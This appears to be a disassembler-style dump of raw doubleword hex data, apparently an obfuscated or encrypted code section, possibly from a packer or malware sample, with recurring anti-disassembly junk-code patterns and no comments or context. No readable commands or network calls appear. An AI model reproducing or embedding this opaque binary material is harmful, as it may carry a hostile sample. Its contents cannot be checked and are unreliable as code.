		dd 4244481h, 18h, 5CC35040h, 0C7F99717h, 16598D29h, 9D290622h
		dd 6220A11h, 28595FFh, 810F0622h, 6, 2C79BD29h,	60960622h
		dd 6051F88Bh, 50615F61h, 30BB5250h, 0F2F6670h, 0BCBE6031h
		dd 6600258Dh, 5A61D38Bh, 6A9658h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0E95368C3h, 13h, 8E93BD98h, 30F667DCh, 3F43CD8Ah, 0CAABDA27h
		dd 5BCB4FEDh, 0CAEBB5FFh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 4D2EDFC3h, 0D88B59EEh
		dd 1AF595FFh, 0B9600622h, 559F683Dh, 6880Fh, 0BD290000h
		dd 62228A5h, 31BD8361h,	62213h,	47840Fh, 8A0F0000h, 3
		dd 96FEB70Fh, 0BB665650h, 5F5FFF4Bh, 8E0F5250h,	0
		dd 6A965Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 9E763BC3h, 0E26F5313h, 899708B0h,	220255BDh
		dd 0EBB5FF06h, 660625CAh, 5C8BC781h, 1D4195FFh,	12E90622h
		dd 37000000h, 68908792h, 913AFF9Ah, 0A637D134h,	866181E7h
		dd 0EBB5FFADh, 0B30625CAh, 0C595FF16h, 0E806222Fh, 12h
		dd 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh, 33202BC6h, 9D29FA79h
		dd 6222C05h, 0C6F3815Fh, 836D9336h, 2202A9BDh, 840F0206h
		dd 69h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 0DC35747h, 58F1A3ACh, 607E5B7Fh, 850DDF81h, 8C0F115Ah
		dd 1, 0BD3161F9h, 6221325h, 0E1858Bh, 0C6F80622h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 908378C3h, 89AE91B4h, 220B1995h, 7D85C706h, 62219h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 5537C356h, 119D8BC0h, 0E9062227h
		dd 0FFFFF20Fh, 8BDEBF0Fh, 6E9C1h, 7D4A0000h, 319026A4h
		dd 2CB5858Dh, 0F88B0622h, 7AB46050h, 61F08B66h,	31240489h
		dd 2219ED85h, 0F006A06h, 0B86h,	58B0F00h, 66000000h, 0E97FCF81h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 778B88C3h, 0A4B60819h, 6E44BF61h,	0BD8B50BCh
		dd 62218A1h, 3F51858Dh,	840F0627h, 6, 26898589h, 9D8B0622h
		dd 6221ABDh, 0E805C083h, 0Eh, 0C611BE70h, 650F2F65h, 0CD10BB2Eh
		dd 8D89A4E1h, 62214ADh,	8B66905Fh, 525050F9h, 13E8310Fh
		dd 0E0000000h, 0FB4C4AA6h, 92CF2037h, 4E1BC64Fh, 6398945Dh
		dd 5A5B17E4h, 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 212DEEC3h, 0AF9E9AD1h, 325F5DFh
		dd 221F75BDh, 89006A06h, 222465BDh, 0E8006A06h,	9, 0C41B24A1h
		dd 0D30466BBh, 1D95899Fh, 5B062229h, 355595FFh,	6A0622h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 3C3566C3h, 87162FF6h, 8D8D3DD4h, 625A90Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A0C35242h, 0B8BBD635h
		dd 81B2DABCh, 604653F3h, 6AD1FF1Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 692BC355h
		dd 0CF81305Bh, 69C4563Ch, 83EAEF80h, 2200F5BDh,	850F0106h
		dd 49h,	26AFE8Ah, 20159589h, 81660622h,	50ED38DBh, 4840Fh
		dd 0BB660000h, 489BEF6h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0CF2037FBh, 8595FF92h
		dd 8B062202h, 220FD59Dh, 0D2DE906h, 0E80000h, 5D000000h
		dd 3F5BED81h, 6A0627h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 811901C3h, 0DAEC83DFh, 45858D37h
		dd 6A062593h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0CD4C355h, 0ABE2E03Ah,	89ED8EF2h
		dd 2213A5B5h, 45BF5006h, 8906CED3h, 0EE92404h, 0AC000000h
		dd 360164BFh, 260EBB6Ch, 0F81297AAh, 35FF6464h,	0
		dd 9E9h, 8E456A00h, 1BD1503Eh, 64F831F3h, 2589h, 0B5890000h
		dd 62226A5h, 8B185FFh, 8D310622h, 62224B1h, 6AFF6Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0C49353C3h, 0E81388F3h, 9, 5DEFFDCDh, 18B1EA8Bh, 5BF98BA4h
		dd 1AB5B5FFh, 9D890622h, 6223321h, 1A019D89h, 95FF0622h
		dd 6221C35h, 141E9h, 0D88B6600h, 3FDF381h, 0B0642Eh, 3870Fh
		dd 0F3800000h, 0E970E687h, 0Fh,	1913ECE4h, 3F1BDD7Ch, 0A95A228Fh
		dd 0E49E14ADh, 0BE566071h, 7548327Dh, 14E95Eh, 6FEF0000h
		dd 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 3C610101h
		dd 0EB830F61h, 8B000000h, 2210E1BDh, 0C8B60F06h, 0BAFEBF0Fh
		dd 6, 68F0Fh, 8D890000h, 62204A9h, 8589C18Bh, 6221E2Dh
		dd 904E8C1h, 22160D95h,	35EB8106h, 662F93B1h, 8D89E2F7h
		dd 6220B45h, 8166C82Bh,	8B59FFCBh, 17870FD1h, 0E9000000h
		dd 12h,	0E87D26FBh, 1B3EDB50h, 615BA846h, 0BBF2A698h, 83E95BC4h
		dd 8B000000h, 47554C85h, 559D0B49h, 8306221Dh, 8B6607C0h
		dd 0C083FAh, 58C0Fh, 5DBF0000h,	3B590C1Fh, 16830FD0h, 0BB000000h
		dd 53F9C34Bh, 87D9EB81h, 4BE947E0h, 81000000h, 0ABD4E4E3h
		dd 0FF8D8B56h, 66FFFFFFh, 83D622BFh, 840F01E1h,	32h, 0E850Fh
		dd 9E90000h, 97000000h,	848B379Ch, 563E9C10h, 0FFFFA583h
		dd 0BFEFFFFh, 22055DBDh, 4C958906h, 0F494755h, 8Bh, 0E900h
		dd 0B58D0000h, 626C02Ch, 6AF4EB80h, 0FFBF0F00h,	307595FFh
		dd 0D3810622h, 910130Dh, 0ED7B9h, 159D8B00h, 83062235h
		dd 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A1144EC3h, 73B2C684h, 8D29F6E8h,	6221AF1h
		dd 35BD8BFCh, 2B062207h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 16DB6817h, 0E272B4DBh
		dd 0D6BF9ED5h, 2B4CAA28h, 2DBD8BD2h, 0AD062222h, 0E8D1C233h
		dd 0E983D003h, 8BF47504h, 221F799Dh, 819D8B06h,	0D06221Ch
		dd 88h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 6CC35040h, 0FC4EB1A8h, 33F1958Bh, 0EF810622h, 3D14ECFAh
		dd 1F758D89h, 8D8B0622h, 6222D31h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B6C35141h,	695BB02Bh, 5E960ABh
		dd 0B8000000h, 7D24D3FBh, 26D18D09h, 50610622h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 2DDFD7AEh
		dd 0F569D88h, 68Eh, 4D9D8B00h, 6A062200h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8FDDC351h
		dd 891F8BD0h, 2220B1B5h, 69BD8306h, 6222Ch, 5C840Fh, 0BF0F0000h
		dd 0B8FBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F4AD09C3h, 7F463877h, 0D88B6E79h
		dd 50B18D8Dh, 0D7800622h, 0FE1FF85h, 786h, 18C0F00h, 0FC000000h
		dd 0AE8h, 0F39C3300h, 689B1260h, 8BCBF8FFh, 221A899Dh
		dd 0BD835B06h, 62230E5h, 0CF840F00h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0BB39C357h, 0BD831E85h, 62230E5h, 0BE840F01h, 0F000004h
		dd 68Fh, 899D8B00h, 83062207h, 2230E5BDh, 860F0306h, 46Fh
		dd 0C870Fh, 810F0000h, 6, 3025BD8Bh, 0E8600622h, 14h, 84C3E5CBh
		dd 7F353B08h, 0D69E835Eh, 93476ADEh, 838EB0D8h,	6810Fh
		dd 810F0000h, 0
aFmJ		db '[fŒÙj',0
		dw 0E850h
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FAC35040h, 5A068206h
		dd 2D019D95h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0F723C355h,	819643EEh
		dd 0FC90A82h, 14684h, 0B5896000h, 6221045h, 0B9858B61h
		dd 6A062210h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0FC5BC355h, 0C45CEFF6h, 1AED8529h
		dd 85330622h, 62208A5h,	0FD8D89h, 0B7500622h, 2404890Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 9C35242h
		dd 7C13A17Dh, 8A60321Fh, 0BF6661E3h, 6A440Ah, 8E8h, 0E3FEED00h
		dd 39752260h, 0FB8B5083h, 4E85B5Bh, 0FF000000h,	57001F03h
		dd 505FF98Bh, 9E8h, 0DD234600h,	19F9E168h, 0E860B86Ah
		dd 14h,	3B74DA1h, 62C63490h, 0F90C492h,	8ADC43BCh, 373901F1h
		dd 0C7C7BB59h, 5F610590h, 424448Bh, 0F532F0BFh,	52008B05h
		dd 2444895Bh, 7E904h, 6EFD0000h, 221DBF5Bh, 0BF0F5810h
		dd 9195FFDEh, 6A06221Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B58C352h, 2214299Dh
		dd 0EB858906h, 660625CAh, 96E8C781h, 233E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 2220B451h, 94F822B5h, 0F534CF5h, 8B5FD9BFh, 25CAE385h
		dd 0C7F906h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	72C35646h, 830F44E4h, 6, 1AC5BD8Bh, 95010622h
		dd 6221C75h, 0CAE7B58Bh, 8A600625h, 1D952BD7h, 6106222Ch
		dd 0A65858Bh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 89BEAAC3h, 59952906h, 8B062231h
		dd 2210B985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 5286274h,	9D8B897Ch, 6223385h, 29D98B66h
		dd 220FC585h, 4468906h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 93C35343h, 0EF81663Eh, 0BB509424h, 0CDAEA34h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 51F8C355h, 774AD3C1h, 0F98A6EBEh
		dd 0CAE3B5FFh, 6A0625h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0DEDAA0C3h, 2FEF8166h, 6896B3F9h
		dd 1F4023CEh, 66525060h, 310FF78Bh, 585A6160h, 906007BEh
		dd 34816107h, 5F203124h, 51006A1Fh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0B460853Dh, 0E9F65A21h
		dd 13h,	1538FCC5h, 0B674A7A2h, 73577068h, 13ACDDFFh, 0B7E187D9h
		dd 0EB858D6Dh, 6A0625CAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 19B0C352h, 0BEA01E23h
		dd 328EF141h, 25C1BD8Bh, 85090622h, 6220005h, 89DA8B50h
		dd 8D892404h, 6221BE5h,	1E9195FFh, 6A0622h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 20B84FC3h
		dd 0DD983E86h, 13E9h, 1EF5100h,	76E5D48Fh, 1128FE10h, 4637F188h
		dd 7F3C8C0Ch, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FD28985h, 0C88h,	6840F00h, 29000000h
		dd 221CF595h, 0E585C706h, 3062230h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 48EC355h, 1A63A6BBh,	0F82400BBh, 0EBBD8323h,	625CAh
		dd 25840Fh, 8A0F0000h, 14h, 0FE9h, 3CFF700h, 7EAB8EA8h
		dd 0BF42E643h, 0ED778FBAh, 21E9h, 0A5BD0300h, 50062211h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 2AF900C3h, 0D2167021h, 899D3177h,	83062226h
		dd 2230E5BDh, 850F0306h, 3ACh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C2C35545h,	0E336EEC0h, 13E998h
		dd 0B4350000h, 4C8D4C24h, 9FB55104h, 0C2734CC2h, 469A69D8h
		dd 97F780C9h, 0CAEBBD83h, 0F000625h, 36384h, 13E800h, 0EEF50000h
		dd 0F12AA9D1h, 5803BFA1h, 8FDAD3D1h, 623C6197h,	0EB8166E0h
		dd 0FF5F6C4Ah, 25CAEBB5h, 859D8B06h, 0FF062219h, 221DCD95h
		dd 0EE906h, 0A9160000h,	0F980B471h, 436BF0AAh, 61FCDCBDh
		dd 0F9D9589h, 0B58B0622h, 625CADFh, 0E919589h, 6C70622h
		dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0D5C35040h, 0DDE311C5h,	348950A8h, 6800F24h, 29000000h
		dd 22294DBDh, 15BD8B06h, 0FF062222h, 25CAEBB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 55302755h, 0F381FC93h, 4BE4FB26h, 254195FFh,	6A0622h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D629C4C3h, 2C0D0F47h, 0DFB58B50h, 8B0625CAh, 221D099Dh
		dd 2D858B06h, 6606221Bh, 89AAD4BBh, 0C486h, 8F0F6000h
		dd 0Bh,	6E9h, 0F46EEC00h, 89FE4DBEh, 220E75BDh,	958B6106h
		dd 62233F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	75C35040h, 356A92Bh, 220675BDh,	12E95B06h, 22000000h
		dd 97D33C40h, 0F9D8F285h, 2DD9C992h, 839FFCD2h,	4C28329h
		dd 205089F8h, 8DFFCB80h, 25DEBC85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 836C528h, 0F96BDADh
		dd 280h, 89F98B00h, 0B886h, 61858900h, 6A062200h, 1FBB6600h
		dd 0EF816613h, 0B5FFC4F9h, 625CAEBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 12C35545h, 6846DB38h, 12200E0h
		dd 22142DB5h, 8595FF06h, 6A062202h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF58C350h
		dd 6656D35Fh, 0E2BF6696h, 91BB5076h, 96739D37h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h, 667A1F34h
		dd 12E9FA8Bh, 2F000000h, 0E09B0A27h, 9F39D93Dh,	81486926h
		dd 9EBD657Ch, 0EBB5FF68h, 660625CAh, 95FFF98Bh,	6221AF5h
		dd 1331BD83h, 0F000622h, 1D84h,	0D5B58900h, 9606222Ah
		dd 53F08A60h, 61586160h, 8D899650h, 6221F61h, 246D8D89h
		dd 0B5FF0622h, 625CAEBh, 1D4195FFh, 6A0622h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 945ACFC3h
		dd 698A042Fh, 0CAEBB5FFh, 6A0625h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 1D106BC3h, 2916199Dh
		dd 2200FD85h, 0C595FF06h, 8B06222Fh, 2211159Dh,	0A9BD8306h
		dd 2062202h, 5E840Fh, 74B70000h, 0E1858Bh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 8C11E4C3h, 1D4FCF93h, 292DB8B2h, 22117185h
		dd 0FABF0F06h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8907C351h, 221A9D95h
		dd 0DAB70F06h, 197D85C7h, 622h,	0FE8B0000h, 0FFF38FE9h
		dd 48C0FFFh, 66000000h,	8BB9B3BBh, 1BD89C1h, 8D062218h
		dd 274CF98Dh, 3DB58B06h, 8906220Eh, 2233F18Dh, 89BF6606h
		dd 3185C7CBh, 0A406222Dh, 0F00005Eh, 68Ah, 95B50300h, 80062226h
		dd 85C741E8h, 62230E5h,	0
		dd 0A5AAB866h, 1311B5FFh, 17BF0622h, 0FF2EC29Dh, 22206595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4CCE5B2Fh, 6AC4BFh, 307595FFh, 0C08B0622h
		dd 25994BEBh, 69FD4F2Fh, 0D44B0FF5h, 56699C11h,	5B61DCB0h
		dd 0A58FD808h, 0DD951A37h, 7DCE7Ah, 0F55A66D9h,	0A6451232h
		dd 6198F245h, 0C2E6C3BFh, 550F28Dh, 61BE4094h, 560D69A5h
		dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 73CAE9B6h, 0F38D8DE0h
		dd 2906274Dh, 220B1195h, 0F18D8906h, 29062233h,	22223195h
		dd 3185C706h, 7C06222Dh, 6A00005Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5038C352h
		dd 0A13CCE0Bh, 0B56FBA66h, 30E585C7h, 622h, 0C4800000h
		dd 89B5FFC0h, 89062206h, 22153585h, 0D0BF0F06h,	206595FFh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0A2BC60C3h, 5E5DA888h, 0AD958B11h, 0E9062234h
		dd 0Ch,	1ACAA660h, 5BF13AAh, 1C197339h,	95FF006Ah, 6223075h
		dd 19EBC08Bh, 0C7DFF1A0h, 3DCADBBCh, 0DF45450Bh, 54CDD5CBh
		dd 7899A551h, 0B4FE0463h, 0CE897h, 0E5B50000h, 29B31A0Dh
		dd 2C6832FBh, 5157D29Dh, 5E5EEFB7h, 81F78B5Fh, 621DC7h
		dd 0F08B6600h, 0B589C92Bh, 6223199h, 2B0F148Bh,	22211585h
		dd 29F28106h, 890F6A7Ch, 22143D85h, 0A6F28106h,	8958B8B2h
		dd 222FED95h, 0B1C28106h, 66683FDAh, 89D819B8h,	8BFC0F14h
		dd 22220D85h, 4E98306h,	14698D89h, 0F9810622h, 0FFFF9E80h
		dd 12850Fh, 81660000h, 0E99E03EEh, 27h,	5410ECD3h, 631970CAh
		dd 6880Fh, 9D8B0000h, 6222071h,	0FFFF93E9h, 0DABE4BFFh
		dd 5E86400Ch, 5400A244h, 0E912D6BAh, 2Eh, 5A6A9A80h, 0Ah dup(0)
		dd 1DE90000h, 98000005h, 0FE234AF5h, 6A57BE8Dh,	0C2CF2625h
		dd 3C658CB7h, 0AC9AF552h, 4CFB83CCh, 0B18EFC25h, 241F6956h
		dd 8FB8C4CDh, 9CFD64h, 411D75F8h, 77A9791Dh, 0D0DD3A05h
		dd 3A4391AEh, 53BA89F5h, 0F0251E6Eh, 1278D1BBh,	8CA1F235h
		dd 0E3D4EFFh, 0FEA9ECFh, 6414BE9h, 5FE894E1h, 0A7D1DE01h
		dd 3C4C759Ch, 19AB0BB9h, 0C0CC1EEAh, 0D4175687h, 5F2B4095h
		dd 0E899B3E0h, 55E49490h, 0DD661227h, 900C499Ah, 473A1C48h
		dd 8CCF0EADh, 0F7503C65h, 1CC516A6h, 0AEDA473Ah, 632B4095h
		dd 0E770B7E4h, 0C6D3AD81h, 1CFF0BE1h, 9B12473Ah, 557CFC45h
		dd 51F3B518h, 52BDh, 5776500h, 0AAD0DD3Ah, 0E42D489Dh
		dd 387BA897h, 0E533C1E4h, 4B473A3Bh, 520F42A6h,	0AB51F3DBh
		dd 2B951C6Eh, 0B35EB194h, 8C91CF0Eh, 0Bh, 97A2EA27h, 0EB0A5BE8h
		dd 77D874A8h, 0D9164704h, 2B4095B2h, 0C0B0E55Eh, 2655CF29h
		dd 0BBC1CE19h, 77AD6980h, 0FADF3807h, 3A3B1622h, 6CB0FB47h
		dd 0D8671459h, 3F0C72BFh, 7491CFEEh, 60C4242Dh,	0E3C8211Eh
		dd 3A3BE109h, 7B991447h, 0DA651718h, 2C1B6489h,	81BACECBh
		dd 0BAC3115Ch, 7A8DEB96h, 51F3DA17h, 6BC2h, 7774800h, 0B8FB4836h
		dd 0A39466Bh, 0ED2A2FD9h, 317CA19Eh, 6AE206E3h,	0BFE5622Dh
		dd 0D43F0C72h, 77A4A3EBh, 0A7F44F3Ah, 1045FE8Ah, 4697B4DBh
		dd 0D214792h, 0B3EBA27h, 51F3D966h, 3E0D72BFh, 5123E2h
		dd 77EB0000h, 0EEEB3807h, 386DDAA1h, 0EE9AA7FDh, 0F7533455h
		dd 3878D98Ch, 2D7D88D4h, 0A6A1EB28h, 0BB79FF7Ah, 811D74D3h
		dd 40490477h, 0C597C407h, 473A3BB2h, 3764E3ABh,	64A992FAh
		dd 0C6810839h, 90E84595h, 0D91FE29Ah, 0F3DBBBB6h, 11E51h
		dd 77040000h, 0C5EA3B08h, 9A6B8CB7h, 179F8447h,	90B5EBD6h
		dd 0C213305Bh, 3162E1ADh, 2BFF79F6h, 1C185001h,	75926E73h
		dd 5283C0CEh, 0B06F6A13h, 31036AADh, 9CFD42h, 491872BFh
		dd 99A17B50h, 7C411876h, 80ADFE31h, 0E72843FCh,	684DAA95h
		dd 187664B4h, 0FE228941h, 76CF1DAFh, 62CF4118h,	0C35E2E06h
		dd 18760129h, 86B9F441h, 0C75FA061h, 19E25D2Fh,	366A7892h
		dd 0AF98E42Dh, 0F04B317Eh, 6D8B84A3h, 137AC5B7h, 0C6850906h
		dd 20A5695h, 4BD1DA4Fh,	252269A6h, 0A66FB5F0h, 170h, 64AB586Ch
		dd 23F9DE03h, 473A3B17h, 0C656B3FAh, 473A3BB2h,	7E085467h
		dd 49182AC1h, 99D607B6h, 0F02148F3h, 4D62B38Ch,	90D7043Fh
		dd 0B9C36187h, 512678Eh, 0E798CD7Ah, 6AF91CDh, 367BBA30h
		dd 76A6FA49h, 4BD121FBh, 38DEh,	0A8584400h, 439FEDDBh
		dd 98DB0837h, 630617E3h, 0E555C720h, 0C8117363h, 0D4E4B0E5h
		dd 0EAC73A34h, 4C04096Fh, 72BFE405h, 47E13F0Ch,	917363D3h
		dd 419CF7C6h, 0ECh, 42AB58ADh, 3A3B9EAAh, 43387347h, 95DA11D8h
		dd 53B4F7E0h, 18D436D9h, 3AF2E749h, 4118C3EEh, 1069A803h
		dd 0C329712Bh, 0E1CC4118h, 3C61DEA0h, 7D9AA3F1h, 0EA2D5684h
		dd 3361F62Bh, 0C6B386F6h, 0C40D287Dh, 1F5E8FB8h, 57A4B5DCh
		dd 0A1E92621h, 49337EA2h, 58B18EF0h, 18C4B4C4h,	13525941h
		dd 0CF1B91F6h, 224118C4h, 932468Bh, 227B99C4h, 18C4BF92h
		dd 88E04D41h, 39027784h, 6E8BC914h, 0EACA251Eh,	0C8108CF9h
		dd 0DD41193Bh, 0FAE93ACh, 11F1ABCCh, 44F39FDh, 453764A9h
		dd 0FE63A9FAh, 60AD927Ah, 2D7D2F18h, 0C04B7074h, 740951CBh
		dd 0C1EC4B70h, 4B38528Eh, 42B56ABEh, 0F6296AA3h, 0F0F58491h
		dd 72DA6A3Eh, 4489C8C6h, 696FB19h, 45502D4Ah, 9CA7D2DFh
		dd 45D73C5Dh, 55482435h, 0F6BE6FD8h, 0AF533148h, 772F306Ch
		dd 364AB58h, 1AFDF969h,	3F4F6C49h, 0EA9ED300h, 0A9D11E51h
		dd 0CD0A5B9Ah, 51E9CD74h, 568A8522h, 8FE6612Bh,	2E1B6DAAh
		dd 7EBDEE5Dh, 0B4D8E13Fh, 998A5A8Bh, 3DF52272h,	62776BDCh
		dd 0B5BE0F09h, 1D790623h, 0A2FE3167h, 0EE2B2147h, 3372A3A0h
		dd 8FB8C4EDh, 0F8513B64h, 1266AB94h, 3091F629h,	6AAFAF6Bh
		dd 0A3FA26E6h, 9FAB41A6h, 72254E54h, 0ADDCE53Bh, 6CB4192h
		dd 13A42E2h, 66D3B9E6h,	0B9E42912h, 0CCA5586h, 85000000h
		dd 4DF3613Ch, 87DD1B69h, 7773CBEFh, 0C3E83D06h,	105D8EB9h
		dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h
		dd 0F03D6EDDh, 696FBC8Bh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
		dd 68241489h, 33E3h, 52243489h,	0C281E289h, 4, 4EA81h
		dd 14870000h, 4895C24h,	0EFBF5724h, 5206274Eh, 0D689FA89h
		dd 8B545F5Ah, 0C4832404h, 8B95104h, 1000000h, 8B3189C1h
		dd 0C483240Ch, 2434FF04h, 4C48358h, 5E2434FFh, 0E904C483h
		dd 0FFFB2EDFh, 8C20FED8h, 0F2C36B70h, 27539CB8h, 0FFC50306h
		dd 0B7B245E0h, 0B926CE2Dh, 0C0F5160Ch, 4FAB1026h, 4E375E6Ch
		dd 0D23DAE07h, 0AD0E8D58h, 69C6064Ah, 0E1981329h, 45C95B6Ch
		dd 0B8C8A249h, 0E322FD70h, 2DCEDE33h, 72D4C712h, 271B355Ah
		dd 67DB6310h, 9431B329h, 0E5F28079h, 0CFF74E0Eh, 68D8D61h
		dd 6A062755h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0F44C353h, 812F3720h, 6830Fh
		dd 0BD310000h, 6223005h, 2D119D31h, 8D890622h, 62233F1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h
		dd 6E3C8D3Ch, 0B0F3ECC4h, 0A79B58Bh, 85C70622h,	6222D31h
		dd 7030h, 1899958Bh, 85C70622h,	62230E5h, 0
		dd 421BD89h, 0B5FF0622h, 6220689h, 0E918D09h, 95FF0622h
		dd 6222065h, 6AC0BF0Fh,	7595FF00h, 8B062230h, 3919EBC0h
		dd 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 17A91476h, 0B3860FFAh
		dd 56F95455h, 14E8h, 5BFF0100h,	743141FEh, 427F89A8h, 0AF3E079Eh
		dd 0D25539FFh, 1B509F4h, 5E062232h, 3850Fh, 0F7800000h
		dd 45C68177h, 5100006Eh, 9C88B85Bh, 0E8810D0Fh,	0D0F8125h
		dd 8B7FD980h, 35B58916h, 8106220Eh, 8ED334F2h, 45BD8B3Fh
		dd 81062221h, 0CDB5E0C2h, 11E926h, 8B0D0000h, 0E0B3C3BAh
		dd 0A1C94AE5h, 95741C27h, 810B6797h, 37C51CEAh,	840F523Ah
		dd 8, 8F0F57h, 5F000000h, 6E9068Fh, 59000000h, 5BF3E5BBh
		dd 42EE81C2h, 0E85EEF6Dh, 9, 0C06F4194h, 7B0BCB95h, 83EAB9F6h
		dd 815B0C4Eh, 0EF6D3EC6h, 0D98B665Eh, 1E881h, 850F0000h
		dd 0FFFFFF7Fh, 5820D98Bh, 31C8510Ch, 1210010Ch,	0BB50C254h
		dd 0B3002548h, 2E062548h, 7201010Ch, 7441C25Ch,	1537786Ah
		dd 63789C8Eh, 95E3806Ah, 0BE6E5A85h, 0E38988D4h, 9A042308h
		dd 0BE850E08h, 5880010Eh, 31A8510Ch, 1220010Ch,	0BB48C254h
		dd 0B30C2548h, 29002548h, 7202010Ch, 0EA0FC25Ch, 0DD043929h
		dd 8749DEB6h, 34022759h, 1019BC8Fh, 3D08072Eh, 32045688h
		dd 62026B0Ch, 320102E4h, 0F1D8210Ch, 16048854h,	16648008h
		dd 32101B08h, 0F158410Ch, 0AEDD67AAh, 5439279Dh, 0B25C25B2h
		dd 1A6971DBh, 5840010Eh, 31C8570Ch, 1210010Ch, 0BB56C252h
